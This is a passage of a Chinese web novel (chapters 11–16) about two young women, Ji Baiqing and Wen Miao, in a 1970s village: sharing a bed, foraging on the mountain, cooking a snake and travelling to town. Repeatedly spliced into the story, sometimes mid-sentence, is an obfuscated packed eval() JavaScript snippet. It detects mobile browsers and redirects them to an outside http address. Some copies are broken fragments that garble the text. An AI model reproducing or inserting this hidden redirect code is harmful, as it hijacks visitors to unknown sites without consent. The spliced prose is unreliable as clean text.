在自己的私密空间内,那股女人身上的馥郁甜香越发明显,季白青可以感受到她柔软的胸脯贴在自己的手臂,就连说话时的气息都像是带着钩子,温温软软地勾人。 她反应慢了半拍,回神后温淼已经开始将她的票夹、现金和存折全都取来了。 刚才暧昧的氛围消散,季白青摇了摇头,也没有去回想刚才到底是什么感受。 她凑到了温淼的身边,好奇地和她一起数钱。 温淼下乡的时候,还是小姨们和外婆一起来送别的,她们从小看着温淼长大,不愿看她下了乡过得不好,几乎是将自己身上的全国通用的钱票都搜刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496232|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净,全给了温淼。 数下来,全国通用的粮票有几百斤,肉票、布票、糖票、盐票、缝纫机票也不少,就连难得的工业票都有三四十张,还有一张自行车票。 再一数钱,不算毛票,大团结加在一起差不多一千。 存折上的是温淼母亲留给她的遗产,有五千巨款。 看着这么多钱,季白青微微咽了咽口水, 她一时间忽然感受到了上辈子刷的“有个富婆闺蜜”的视频里主人公有多快乐了。 温淼一抬头就是季白青那垂涎的眼神,一时间觉得有些好笑。 “只是钱而已。” 听了这话,季白青默默地仇富了。 不过想到原书中期发生的事情,她提醒温淼,“把钱收好,财不外漏,以后这些钱肯定能用得上。” 温淼不懂她说这句话的原因,但也听话地点了点头。 见状,季白青又笑了起来。 她想,这哪里是恶毒女配啊,明明是个乖巧软糯的大美人。 乡下也没有什么娱乐活动,温淼下乡一段时间后也慢慢习惯了早睡。 两个人打着手电筒聊了一会儿天后,就去打水洗漱。 季家比知青点要方便不少的是修了单独的茅房和澡间,温淼爱干净,在京市时每天都要洗澡,但知青点没有厕所,只能去村中心的茅房上,就连洗澡都是隔一天借用季家的澡房。 季白青知道她这一点,吃完饭就去灶房烧了热水。 这年头没有电一点也不方便,温淼有着一头又黑又长的头发,头发微微卷曲,像是浓密的海藻,洗完头发之后要晾很久才能干。 季白青拦住想要上床直接睡觉的温淼,拿了条干净帕子帮她擦头发。 温淼先是愣了几秒,随后就安然靠着椅背,专心享受她的服务。 比她要小上三岁的女人咕哝道:“湿着头发不能直接睡,不然会头疼的。” 听着季白青的关系,温淼没有不耐烦,反而觉得有些愉悦。 她微微点头,“好啦,知道了。” 语气和敷衍外婆时没什么不同。 季白青听着她撒娇般的话,唇角弧度加深。 恶毒女配愿意对她撒娇,说明离两个人成为好闺蜜的日子已经不远了。 花了半个小时,头发擦干的差不多,两个人坐在院子里吹风,最后季白青又摸了一把温淼的头发,干的差不多了。 见她昏昏欲睡,季白青拍拍她,“温淼,进房间睡觉。” 温淼迷迷糊糊地跟着她进了卧室,等到躺到床上,季白青要上床的时候,温淼才突然清醒。 这么快,两个人就要一起睡了吗? 她两双手搅在一起,心里有些别扭。 从小到大,她还没有和除妈妈外的第二个人在一起睡过。 好在房间里黑乎乎一片,只能接着月光看见人朦胧的身影,并不能看到温淼发颤的眼睫。 “我们盖一床毯子。”季白青道。 如今天气渐热,但晚上的温度还是挺低的。 温淼轻声应下,感受到身边躺下一个人。 季白青和她睡在一起了。 12. 第 12 章 在寂静的黑暗中,温淼只感觉自己的心跳越来越快,扑通、扑通,每一声都敲在耳边。 心如擂鼓。 等了好久,季白青都老老实实地躺在床的外侧,没有任何逾越的举动,只是在睡前将毯子搭在了她的身上。 最后感觉到身边的呼吸平缓,温淼翻了个身背对季白青,阖上了眼睛。 温淼睡得很快,呼吸声绵柔,季白青此时睁开了眼睛,盯着她留给自己的一个背影觉得有些好笑。 照温淼对她的抵触状态,她们什么时候才能够像其她正常的闺蜜一样抱着睡觉啊? 她往温淼那一侧挪了挪,帮她掖好被角,最后也开始酝酿睡意。 到了半夜,温淼睡得迷迷糊糊转了个身,瞬间将季白青身上盖着的毯子卷走大半。 感受到身上的凉意,季白青迷糊中眼睛都睁不开,意识溃散,又往温淼那边挪,最后两具柔软的身体贴在了一起。 感受到回来的人睡得有些不安稳,她的手下意识搭在了对方身上,轻轻拍了拍,咕哝道: “乖乖睡……” 怀中的人温顺下来,季白青又将她往自己怀里拢了拢。 毯子在两个女人身上裹得乱七八糟,季白青和温淼的四肢也交缠,而这一切,只有月光见证。 第二日一早,院子里的公鸡打鸣,季白青醒了。 天色微亮,屋子里也能看得清楚东西来。 季白青低头看着怀里还在熟睡的大美人,一时间有些愣怔,随后又弯起来眼睛。 虽然不知道两个人是怎么搞到一起去的,但是只是在梦里就把自己的愿望完成了好像也不错。 她轻手轻脚地放开温淼,下床后将一头长发绑起来,又给床上的人盖好被子后就出了房间。 季伟去地里了,何香月此时正在剁鸡食。 “娘,早啊。” 何香月头也没抬,“今早上给淼淼蒸个鸡蛋。” 啧,温淼一来,何香月眼里都没有自己了。 她去了灶房,将废弃水缸里存放着的鸡蛋取出来五个,打散后加水和盐,又放了点油,就放在蒸盘上开始蒸。 家里还有些精米,她煮了四个人的量。 生起火来,季白青又到院子里做了会儿拉伸,等何香月去厨房掀开锅盖后,叫道: “季白青,你怎么蒸了那么多蛋?!日子不过了?不是说给淼淼蒸一个就行吗?我和你爹不吃!” 季白青懒懒道:“娘,这么点蛋再不吃就坏了,更何况如果只做温淼一个人的话,她肯定不愿意吃。” 何香月还没来得及反驳她的话,就听见了另外一道甜软的声音: “是啊,何婶,如果你们不和我吃一样的饭,我不愿意吃,你们吃什么我就吃什么。” 转头一看,是温淼,披散着一头卷发,穿着白色衬衫和黑色长裤,不施粉黛的模样也明媚。 何香月叹了一口气,“哎呀,你们……” 知道何香月又要回忆往事,季白青连忙打断,“娘,有只鸡好像下蛋了!你快去看看,我不敢捡!” “诶,你站那别动,我来。” 何香月几步就到了鸡窝前,那窝里果然有个蛋,摸着还是温热的。 “我真是欠了你的!”意识到了季白青是在转移话题之后,何香月感叹。 季白青嘿嘿一笑,跑到了温淼身边。 “温淼,昨晚睡得怎么样?” 看着女人期待的眼,温淼只能说:“挺好的。” 季白青满意了。 她的床又大又软,她就说肯定能让温淼满意。 见温淼的头发散落着,她手有些痒,和对方商量: “温淼,我给你扎头发吧,我的技术很好的。” 温淼拒绝不了,便直接坐在凳子上任她动作。 虽然不知道季白青扎头发的手艺像不像她所说的那么好,温淼却感受到她的每个动作都很温柔。 修长的手指将她乌黑的发丝聚拢,又在她的发丝之间穿梭,被指腹触摸到后颈时,温淼只感觉浑身酥麻,她咬住唇,抑制住将要溢出声的娇吟。 那块地方算是她的敏感点,但温淼没有想到,被季白青一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496233|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰,反应却那么大。 季白青帮她扎了个麻花辫,蓬松的辫子垂在左侧,两边的发丝落在颊边,温淼自带的成熟妩媚的气质中多了些温婉。 季白青将家里唯一一个红花底的镜子放在她面前,问她:“好看吗?” 温淼的眼睛匆匆从镜子上扫过,最后敷衍点了点头。 季白青看着她酡红的脸颊有些奇怪,伸手摸她额头,担忧道:“脸怎么这么红?没有发烧啊。” 温淼脸颊更红了一分,将她的手拍开:“别说了。” 季白青捉摸不透恶毒女配的心思,此时突然听见了高压锅的冒气声,便跑去将锅抬下来。 今天早上吃蒸蛋和白米饭,被蒸锅蒸煮出来的米饭粒粒分明,每一口米饭都带着浓郁的香味,拌着鸡蛋羹格外好吃。 何香月还另外炒了一盘酸菜,是去年腌制的腌豆角。 温淼还挺喜欢吃的,就是季白青不让她多吃。 今天上工后,温淼照样是将自己割猪草的活儿交给小孩干。 除了李满之外,还有狗蛋、二丫他们也想要通过给她干活换吃的,温淼怕累着满满一个人,便随着他们去了。 几个小家伙一个上午就能够将她一天需要割的四筐猪草割完。 想到前段时间,温淼好奇后山是什么样的,季白青照例巡视完一圈后就回了家。 “换身衣服,我带你去山上转转。”看着端坐在屋檐下等她的温淼,季白青觉得心软软。 温淼回屋换上了一件藏蓝色的长袖,袖口还绣着径精致的花样。 季白青摸着柔软的布料有些心疼,“穿这么好的衣服上山会被勾坏的。” 温淼无辜道:“可这是我最破的衣服了。” 她指了指带着线头的衣领。 季白青再次仇富。 她原本想着将自己的旧衣服衣服给温淼上山穿,但后知后觉对比起来两人的身形,她的衣服温淼大概上穿不上的。 两人虽然都纤瘦,但温淼的胸脯丰满又柔软,她则是个不折不扣的平胸。 那就只能这样了。 13. 第 13 章 季白青身上的衣服被洗的发白,整洁但破旧,衣柜里其他的几件衣服也同样如此,她不需要换。 云水村背靠山,有水环绕,虽然没有隔壁村富庶,但也没有村民被活活饿死。 村后几座山都属于云水村,季白青带着温淼去头年采摘过一遍的橙子园,山脚一片都被围了起来,在里面转了几圈,温淼摘了几个大个一点的橙子,剥开后,吃了一口,微微眯起了眼睛。 她随后喂给季白青,季白青咬进嘴里,还没道谢,就被嘴里的酸橙酸了个激灵。 “呸呸呸!”她将橙子吐出来,看向温淼,假装恶狠狠道:“好你个温淼!竟然敢骗我!” 温淼露出个狡黠的笑,也将嘴里没咽下去的橙子吐出。 季白青作势要去挠温淼痒痒,温淼见状,尖叫一声山上跑。 两人小孩一样一个人追一个人跑,最后到了半山腰,温淼总算是没了力气,扶着膝盖开始喘气。 季白青见她娇弱的模样,无奈道:“好了,不追你了,走慢点。” 温淼一抬头,突然看到了面前的几颗结着像是毛毛虫一样的果子的树。 她指着那树,有些纠结,“这是桑葚树吗?” 季白青打了个响指,“聪明。” 她将自己带来的小包袱展开,“摘点回去吃吧。” “你会喝酒吗?这个还能酿桑葚酒。” 温淼点了点头,也上前帮季白青摘了起来。 红色的果子很甜,这年头也没什么农药,季白青一边摘一边吃,吃了个半饱,小布袋也被装满了。 她转头去看温淼,大美人白皙的脸上沾着桑葚的紫色汁液,季白青忍住笑,用手指帮她擦去。 她对温淼展示手心的紫色,调侃道:“变小花猫了。” 温淼哼了一声,随后趁季白青不注意在她脸上抹了一道。 她得意,“你也是小花猫了。” 季白青看着她,浅笑着擦拭脸颊。 温淼真是怪可爱的,季白青还是想不通,作者怎么会把这样一个人写成恶毒女配。 将布袋挂在树枝上,她又带着温淼去摘蕨菜、芥菜和香椿。 摘香椿的时候美人脸上是十足的嫌弃,这玩意儿闻起来臭。 季白青给她解释,“香椿炒鸡蛋很好吃,直接蒸也有人喜欢,回去做给你吃。” 听她这么说,温淼最后还是矜持地点了点头。 摘了满满一麻袋的野菜之后,季白青带着温淼去找茶泡和茶耳吃。 茶树每到这个季节就会生茶泡和茶耳,吃起来是甜脆的口感。 季白青摘了一个给温淼尝:“味道怎么样?” 温淼咽下去后,拧着眉,“……感觉有点奇怪,不过挺好吃的。” 听她这么说,季白青笑得弯起了眼睛。 “山上还有很多好吃的,春夏秋冬是不同的风景,到时候你就知道了,夏天了我再带你下河里抓鱼。” 听着季白青说往后,温淼也对后面的生活多了几分期待。 好像下乡的日子并不像是她所想的那么难熬。 温淼当然知道主要原因,是因为有季白青的存在。 她在的时候,温淼就感觉在乡下的日子就过得很快。 她郑重应下:“好。” 两个人在山上呆了一上午,最后带着大包小包下山了。 季白青背着一个大麻袋,里面的东西满满当当,但她扛起来却丝毫不费力。 温淼跟在她身后,手上提着装桑葚的小布袋,东西轻巧,她倒也没多费力。 只是她没有看路,一脚踩到了不明生物上后,她立马僵住,脸声音都带上了几分紧张,“季、季白青!” 季白青停下,有些疑惑地扭头往后看,“怎么了?” 感受到脚下的东西在扭动,温淼后背上的鸡皮疙瘩都起来了,但与此同时她却不敢将抬起脚了。 温淼快哭出声来了,“脚下……好像有蛇……呜……” 季白青闻言,连忙将麻袋丢在地上,上前查看情况。 看到她布鞋下拼命挣扎的一个小脑袋,季白青吐出一口气,“没事,这是狗婆蛇,没有毒。” 知道这是什么玩意之后,她看着温淼鞋底的玩意两眼放光,“温淼,你先踩着不要动。” 温淼点了点头,眼眸泪光细闪。 季白青跟变魔术一样,从衣服口袋里又掏出来一个布袋,隔着布袋捏住蛇头后,便让温淼松腿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496234|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温淼颤颤巍巍地将脚抬起来,季白青眼疾手快将狗婆蛇装进袋子里,随后打了个结。 她伸出手想要去摸摸温淼的手,但温淼想过季白青刚才摸了蛇后,就有些抗拒她的触摸。 “别、我怕。”温淼声音细弱。 季白青见她难得出现的害怕模样,有些无奈地摇了摇头,晃了晃手里的布袋,说:“放心,这个是狗婆蛇,没有毒,今晚回去炖了吃。” 一想,又隔了一段时间没有吃肉了,刚好这条蛇可以解解馋。 闻言,温淼又往后退了几步,摇头拒绝。 “不要。” 她最害怕这些黏黏糊糊的冷血动物,尤其是蛇,让她吃蛇肉,她不可能。 季白青弯腰牵住她的手,“好了,刚才没摸到蛇,拉着我,回家了。” 她将布袋套进麻袋里,左手扛着麻袋,右手牵着温淼,看起来十分轻松。 中午她把抓来的蛇处理之后炖了,还加了一个鸡蛋进去,温淼帮着把香椿洗干净,季白青又炒了个香椿炒鸡蛋。 何香月回来后看到了季白青炖的蛇羹,还有些惊讶,“你抓到狗婆蛇了?” 平日里七八月,天气燥热的时候这玩意儿才更容易抓。 季白青看了眼温淼,笑吟吟道:“这是温知青抓住的。” 闻言,何香月对温淼竖了个大拇指。 “淼淼你可真厉害。” 温淼尴尬地笑了笑,没说话。 吃午饭时,何香月一直在劝温淼吃一口肉,喝点汤,温淼只能拒绝。 她原本以为香椿会和闻起来一样难吃,结果炒鸡蛋的味道莫名不错,香椿又鲜又嫩,鸡蛋也滑嫩。 蛇羹剩下最后一点,何香月热情推荐:“淼淼,这狗婆蛇你吃一口,其实和猪肉没什么区别,很嫩很好吃的,汤也很鲜。” 季白青见温淼脸色为难,最后想着干脆她夹起来一口吃了算了。 温淼按住她的手,她神色挣扎一瞬,最后还是屈服道:“好,我尝尝。” 季白青笑眯眯地收回了手。 温淼将用汤勺将蛇羹盛进碗里,闭着眼嚼了几口,囫囵咽了下去。 虽然她怕蛇,但蛇肉确实紧致,肉质鲜嫩,汤也很鲜美。 14. 第 14 章 下午的时间季白青和温淼一起去田间转了一圈,查看完上工情况,还顺带气一气那些知青。 巡查完之后,季白青和温淼回家处理今天摘的野菜和桑葚。 从井里打了一桶水,将倒在红花白底铁盆里的桑葚洗干净,季白青给温淼投喂了一些,剩下的酿了一小罐的酒,再余下的直接平铺到了簸箕上晒干泡水喝。 有了昨天晚上的经验,这一天晚上温淼自在了很多。 看见季白青洗了头发,她也学着昨晚季白青的温柔模样,拿着帕子帮她擦干水。 和温淼的长卷发不同,季白青的头发是到肩膀的长度,很直,和她的气质十分附和,不笑的时候神色疏冷,拒人于千里之外。 她头发要比温淼的干得快,两个人和昨天晚上一样坐在院子里,季白青看了眼大美人精致的侧脸,突然开口: “温淼,你为什么会下乡?能给我详细说说吗?” 这个问题她其实很早就想要问,原书之中对此也没有一个解释,但碍于先前两人之间的关系并不太熟,她只能将这一份疑惑压在心底。 提到这个,温淼的脸上有一丝落寞。 她低声问:“你真的想要听吗?” 季白青自然看出了她低落的情绪,倒在她的肩膀上,亲昵地蹭了蹭她,软声道:“如果不想提的话,那就当我没问好了。” 她一切都想要遵循温淼的内心。 但她这么善解人意,温淼反而觉得有些不好意思了。 她试着抬起手来,揉了揉季白青细软的发,“你想知道的话告诉你也没什么。” 她娓娓诉说着自己的家庭情况,溶溶月色下,月光也格外眷顾美人。 温淼的妈妈叫温泠月,是温家最大的女儿,温淼的外婆是跟过开国元勋的秘书,一向强势,即使生下来四个女儿,也全要求男方入赘。 温家有荣誉要继承,温泠月和她的几个妹妹在各个领域身居高位,而温淼的爸爸李文宇就看上了温泠月的身家,选择了入赘,和她生下了温淼。 但温泠月先天不足,在温淼十岁的时候就因为疾病去世,只留下一大笔遗产存进了温淼的存折里,还有一座四合院。 而第二年,李文宇就直接带了另外一个女人登堂入室,住进了温泠月留下来的四合院,那女人还带了一个小温淼四岁的女儿,跟李文宇姓,叫李欣,和李文宇长得有五分相似。 好在也没让他们得意太久,温淼外婆直接带着人将他们轰了出去,看在他对温淼的出生有功,给他过继了筒子楼里的一间屋子。 在温淼小、还对这个父亲心存期待的时候,李文宇经常偷偷上门打秋风,温淼会动用自己的小金库补贴他,然后那些钱就会被用在王瑶和李欣身上。 后来温淼懂事了,知道李文宇婚内出轨后再也没有给过他钱。 但没有想到,七五年年初,每家一个知青下乡的名额安排到了李文宇身上,王瑶通过送礼早早得知了这个消息,一咬牙花了两百块钱给李欣买了个工作,最后李文宇的户口上就剩下温淼一个适龄女青年。 温淼在京市没有工作,必须下乡。 听女人用平淡的语气将她的经历说出来后,季白青心里有些难受。 她又贴近了温淼,长臂一伸,圈住温淼纤细的腰身。 安慰的话不知道该从哪说起,她抬起头来看着温淼的脸,在浓黑夜色中,她的另一半侧脸模糊不清,那双浅色的眸子却是亮的,蕴藏着一汪浅浅的月光。 她弯了弯唇,原本想要问她难不难过的话最后换成其他。 “那你现在高兴吗?” 温淼诧异低头,对上了季白青像是黑曜石一样的漂亮眼珠,被女人眼中笑意感染,她也弯起了眼睛。 “我现在很高兴。” 说来也奇怪,插队道云水村不过是半个月不到的时间,但好像离在京市的日子已经很久了,现在的日子也没有想象中的辛苦,反而因为季白青的存在过的比以前要开心。 季白青脸上的笑意加深,“你高兴就好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496235|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 和温淼做朋友是她的目标,那希望朋友每天开心也很正常。 看着季白青笑意盈盈的脸,温淼的眼神似乎是被她烫到一般,连忙移开了视线,长发从而耳后落下,遮住了她脸颊上的红晕。 她慌乱站起身来,结巴道:“好、好了,已经很晚了,我们回去睡觉吧。” 她想,也不知道为什么季白青面对这种事情一点也不藏着掖着,女孩面对感情不应该都是含蓄的吗? 她这么直接,弄得温淼好不自在。 温淼还没有准备好接受她。 她还需要更多时间来确定自己的性取向,到那个时候才能给季白青一个回应。 看着温淼脚步匆匆地往房间里走,季白青有些疑惑。 她走这么快干什么? 想到刚才温淼说了那么久的话,季白青架起了柴烧水,水烧开后很容易就温了下来,她端着水杯进卧室。 摸索着打开了桌上放着的手电筒,她轻声开口: “温淼,睡了吗?” 温淼眼睫轻眨,闷声回答:“没。” 季白青走到床边,将水递给她。 “刚才说了那么多话,喉咙干不干?” 温淼原本还没有什么感觉,被她这么一说,还真的觉得有些渴。 “嗯,有点。” 她接过了水,喝一口。 水还是温的。 在手电筒的一铸灯光下,季白青弯着腰,轻声问她:“再过几天村里放假带你去镇上的逛逛好不好?” “虽然没有什么好玩的,但是可以去供销社里的买东西,你有没有馋肉,下次我们就去买肉,再砍个骨头给你炖汤。” 温淼看着她喋喋不休的唇,心中的情绪变缓迅速,不知道该怎么描述, 她深吸一口气,将杯子里的水喝完。 “好,下次我们去逛。” “外婆她们给我寄的包裹肯定到了。” “我还要给她们寄信……你要写一封信给她们吗?” 15. 第 15 章 感受到了温淼有些紧张的情绪,季白青先是一怔,随后立马笑着回答:“可以啊。” 看着温淼似是有些不好意思的模样,她手有些痒,想捏捏对方脸颊,最后还是抑制住了,只是口头上调戏道: “原来我们温淼已经愿意把我介绍给家人认识了。” 温淼咬着唇没有反驳,好一会儿才刻意强调:“只是朋友而已,其他的你别想!” 季白青虽然没听懂大美人话里的含义,但也不耽误她点头,又逗温淼一句: “我都不知道原来温淼你都已经这么喜欢我了。” 这句话倒是季白青真心想要说的话,毕竟在她看来,温淼这样对认识不到一个月的朋友敞开心扉的行为只能用一个词来形容——傻白甜。 哪里像是作恶多端的恶毒女配。 温淼被她的话说的耳朵通红,一时间只能跪坐在床上,探出身子伸手去捂季白青的嘴。 她懊恼:“你不许再说了!” “唔唔。”季白青被制裁,也没有要继续调戏温淼的意思,连忙出声。 二人闹了一会儿后,都有些累,躺在床上,季白青感受到温淼身上散发的熟悉香气,耸着鼻尖仔细嗅嗅,随后安安稳稳入睡。 清明节过后,地里的活多了些,南边的那块地需要重新翻地播种,何香月和季伟忙活的脚不沾地。 温淼和季白青就被衬托的像是吃白饭的,这段时间季白青每天都要要注意自己的言辞,不小心招惹了何香月就要挨一顿骂。 温淼倒还好,但见季白青小心翼翼的样子也有几分提着心。 将自己本职的工作做好之后,季白青和温淼每天都要做饭,再送饭到地里去。 看季白青拿着锅铲抄了不少菜,连带着温淼也学会了怎么炒菜,虽然不能算美味,但也能够入口。 对以往十指不沾阳春水的大小姐来说,进步已经很大了。 趁旱季来临之前将最后一批菜种撒下去,又撒了肥料之后,压在众人身上的担子骤然轻松下来。 村长放了两天的假,原本季白青说要带温淼去镇上的承诺总算是可以实现了。 原本季白青想带上何香月和季伟一起,一家四口整整齐齐去逛逛。 但最后何香月摆了摆手,“我和你爹累的要死要活,闺女,你就让我们喘喘气吧。” 想来也是,季白青让何香月将要买的东西告诉她记在纸上,去镇上的前一天,她又和温淼挨在一起,商量着到时候要买什么东西。 首先,肉是肯定要买的,给一家人都补补身体,还有调料、富强粉、脸盆……零零散散的东西写满了一大张纸。 第二天天还没亮,何香月就敲门叫她们起床了。 季白青半梦半醒之间,含糊应了几声,没多久又睡了过去,好在温淼醒来了,又轻轻把她叫醒。 等她再一睁眼,看到的就是个大美人,她眯着眼睛,声音沙哑柔软,“大美人叫|床服务?” 温淼没好气将毯子盖住她的脸,声音大了些:“快点起床。” 再不起床的话,大美人就真的要生气了,季白青见好就收,爬起来伸了个懒腰就趿着拖鞋往外走。 何香月将她们俩共用的脸盆拿出来,给她们倒好了洗漱的温水。 见季白青眯着眼睛直直往水井边走,她开口:“给你倒好水了!小姑娘家家整天用冷水洗脸像什么样子,来事的时候你就知道哭了。” 季白青折身回来,对她讨好一笑。 用牙粉简单刷牙后,她马马虎虎洗了把脸,温淼早就连衣服都换好了,等着她给自己扎头发。 从上次季白青帮她试着扎过一次头发,她就成了大美人的御用发型师。 “温淼,你先等等。”她回房间换了一身衣服,碎花上衣和土色的裤子,虽然还打了几个补丁,但已经是她柜子里最好的一套衣服了。 要不是季白青腰细腿长,皮肤还白,穿着这件衣服指不定要多丑。 即便如此,温淼将她上下打量后神色不满,到底还是没有说什么,抿着唇任季白青动作。 季白青看她今天的装扮,觉得分外赏心悦目。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496236|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天气热起来了,每天的气温都直逼三十度。 温淼穿了一身蓝色掐腰无袖长裙,白腻纤细的手臂露出来,修长的颈脖间挂了一条细细的项链,星星挂坠恰好落在锁骨处。 这条长裙很适合温淼,衬得她胸大腰细,气质矜贵。 季白青觉得她此时特别适合戴上银丝眼镜,放后世绝对可以靠着一条视频爆火网络。 她一连换了两个发型,左看看又看看还是觉得有些不对。 弄得温淼都有些不耐烦了,轻轻扯扯她因弯腰落在自己面前的头发。 “好了没?再晚就赶不上了。” 听出来温淼话里的担忧,季白青安抚道:“没事,我们今天起得早,我很快就好了。” 说完,她直接将温淼的长发放了下来,拨弄到两侧,遮住部分手臂,她去温淼的发饰匣子里找出一个珍珠耳坠和珍珠发卡后给她用上,最后才满意地拍手。 “温淼,你真好看。” 即使知道了季白青直话直说的性格,温淼听了这话还是有些不自在。 明明曾经那么多人的都夸过她的长相,但面对季白青的时候,她的反应最奇怪。 “好了,走了。”温淼转移话题。 “行,等我一下。” 季白青回去将何香月的军绿色斜挎包戴上,又往里塞了个麻袋,随后快步走到院子里,牵起温淼的手,“走吧。” “诶,不吃完早饭再去?”何香月探出个头大喊。 季白青背对着她摆了摆手,“娘,你和爹吃吧!我们去镇上吃。” “这个败家闺女!”话是这么说,但何香月还是追了上去,给了季白青十块钱。 “想买什么就直接买,不要心疼钱。”总归挣钱都是为了这个女儿。 季白青也没和她娘客气,笑嘻嘻收下了。 “娘,你真好~” 何香月嗔怪看她一眼,“好了,你们快走吧。” 季白青拉着温淼往村口走,她们今天坐牛车去镇上,牛叔的牛车就在村口等着。 16. 第 16 章 路上,见温淼从有些兴奋的模样变得兴致不高,季白青小声问她:“温淼,你怎么了?” 温淼摇了摇头,“没什么。” 季白青有些无奈,见她这份闷闷不乐的模样也不像是没什么,所以到底是什么事让她不高兴了? 通过这段时间的相处,她也知道了,恶毒女配的性格敏感,很容易受到周边发生的事的影响。 她想了想,突然有些了然。 “你是不是想你妈妈了?” 温淼愣住,过了一会儿点点头。 “嗯,何婶对你很好。” “你妈妈对你肯定也很好,能给这么多钱给你,代表你是她的心肝宝贝,所以你应该开心才对,不然妈妈在天之灵看着你难过也会很难过的。” 是这样吗?温淼半信半疑地看着季白青。 随后脸颊肉被人捏起来,轻笑声在耳边响起。 “快笑笑给妈妈看。” 温淼将她的手拍开,最后低着头,唇角微微翘了翘。 被她这么一说,她的心情好多了。 季白青她们走到村口的时候,牛车上坐着的人并不多,是两个眼熟的婶子。 给了牛叔两分钱后,季白青和温淼也坐上了牛车。 随后又有两三个人给钱上了车。 一个嘴边长着痦子的婶子将温淼和季白青二人上下打量一遍,“哟,这不是温知青吗?平时干活不见人,现在休息了打扮的妖妖娆娆的是要去哪呢?” 温淼不冷不淡道:“你去哪我就去哪。” “你!”痦子女人被噎得说不出话来。 季白青揉揉温淼的手背,看着对面的人神色不善。 “婶子,今天出门是不是没用牙粉刷牙?” 那婶子狐疑道:“你怎么知道?” 周围听懂的人都笑出了声,季白青忍着笑,“不然你的嘴也不会那么臭。” “不会说话可以不说。” 痦子女人满脸通红,最后不说话了。 等到五点半,牛叔见没什么人后就准备出发去镇上了,刚准备走,突然后面传来一道声音。 “等等我们!” 听起来耳熟,季白青往后看了看,原来是沈念念和陆延两个人。 见他们姿态亲昵,难道现在就已经在一起了? 季白青看着他们,在脑海里回忆起原书中的剧情。 如果没有记错的话,前期沈念念靠着去黑市卖东西赚钱,一直到某次去黑市的路上遇到陆延,让陆延知道了她的秘密后,两个人才逐渐走得近了些。 温淼注意到季白青的眼神落在沈念念身上,久久没有挪开,一时间有些恼。 她想,季白青喜欢女人,沈念念也是个漂亮女人,虽然比不上她,但是另外一种清纯的美。 难道季白青现在又觉得沈念念好看,要换个目标了? 想到这里,温淼心里有些不舒服。 她拧了季白青一把,吃痛下季白青回头看向罪魁祸首。 温淼:“眼睛珠子要掉下来了。” 话里带着她自己都没有察觉到的酸意。 季白青直直地看着她的模样,最后笑出了声。 她作势扇了扇风,小声问她:“你有没有闻到好大一股醋味儿?” 温淼:“什么?” 等到反应过来季白青那句话里的意思后,她狠狠瞪了她一眼。 季白青此时笑眯眯地安抚炸毛的小猫。 “放心吧温淼,我只和你一个人做朋友。” 温淼轻轻哼了一声,没再说话。 牛叔停下,让沈念念和陆延坐上来,两人一上来后,后座都明显往下压了压。 其实坐牛车去镇上的速度比走路也没快多少,但主要是没那么累。 花了一个多小时才到镇上,溪宁镇并不大,和京市比起来更是小的要命。 但初初到镇上,温淼还是有些好奇的。 周围一切和京市看起来都很不一样,季白青也很久没有上镇上来了,看了眼自己手上的表,还不到八点。 “现在邮局还没开门,我们先去吃个早饭。” 温淼先是点头,随后视线挪到她清瘦的手腕上,拧眉。 “怎么没有戴我送给你的手表?”好不容易上一次镇里,为了表示尊重,季白青还特意换上了不怎么穿的好衣服,怎么不戴那块精致的表? 平日里也没见季白青戴过,怕是送给她那天回家就立马摘了下来。 